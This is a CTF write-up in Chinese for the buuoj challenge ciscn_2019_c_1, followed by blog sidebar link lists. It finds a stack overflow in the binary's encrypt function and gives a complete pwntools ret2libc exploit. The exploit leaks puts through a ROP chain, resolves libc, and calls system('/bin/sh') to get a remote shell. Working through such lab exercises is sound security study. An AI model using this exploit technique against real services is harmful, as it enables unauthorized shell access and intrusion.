0x01

检查文件,64位

检查开启的保护情况

开启了NX保护

0x02

IDA静态分析

在主函数这里并没有常见的gets栈溢出,尝试再这里面的子函数找找,发现了encrypt函数,进去查看

发现这个变量x的自增是由空间大小限制的,猜测这里会出现栈溢出漏洞,写出exp尝试溢出

0x03

exp:

from pwn import *
from LibcSearcher import * content = 0
context(os='linux', arch='amd64', log_level='debug') ret = 0x4006b9 #靶机是ubuntu,所以需要栈平衡
elf = ELF('ciscn_2019_c_1') puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"] pop_rdi_ret = 0x400c83 #×64程序基本都存在的一个地址pop rdi;ret def main():
if content == 1:
p = process('ciscn_2019_c_1')
else:
p = remote('node3.buuoj.cn',25655) payload = b'a' * (0x50 + 8)
payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#print(payload) p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload) p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print(puts_addr) #找出puts的地址 libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') #找出函数地址偏移量
system_addr = libc_base + libc.dump('system') #计算出system的在程序中的地址
binsh_addr = libc_base + libc.dump('str_bin_sh') payload = b'a' * (0x50 + 8)
payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload) p.interactive() main()

执行结果:

拿到flag

最新文章

  1. visual studio快捷键
  2. Java陷阱之assert关键字
  3. js语言精粹读书笔记一
  4. vs如何在C++中调用Lua
  5. pdo mysql错误:Cannot execute queries while other unbuffered queries are active
  6. What is the Xcopy Command?:
  7. How To Create a New User and Grant Permissions in MySQL
  8. android——拍照,相册图片剪切其实就这么简单
  9. C语言当中的作用域
  10. UIWebView的三种加载方式
  11. Java的二分搜索树
  12. shell编程练习(四): 笔试31-68
  13. lua杂记
  14. 重启Zabbix Server
  15. Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields(理解)
  16. PPT资源
  17. 大型运输行业实战_day01_1_业务分析
  18. 【spring揭秘】1、关于IOC的基础概念
  19. TrinityCore3.3.5环境搭建
  20. hdoj1160 DP--LIS

热门文章

  1. Andrew Ng - 深度学习工程师 - Part 2. 改善深层神经网络:超参数调试、正则化以及优化(Week 2. 优化算法)
  2. 【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!
  3. WeChair项目Beta冲刺(8/10)
  4. 在maven项目中使用Junit进行单元测试(一)
  5. DataFrame索引和切片
  6. web 基础(一) HTML
  7. 入门大数据---Redis集群分布式学习
  8. python文件处理-根据csv文件内容,将对应图像拷贝到指定文件夹
  9. vue基础入门(4)
  10. Mariadb之日志相关配置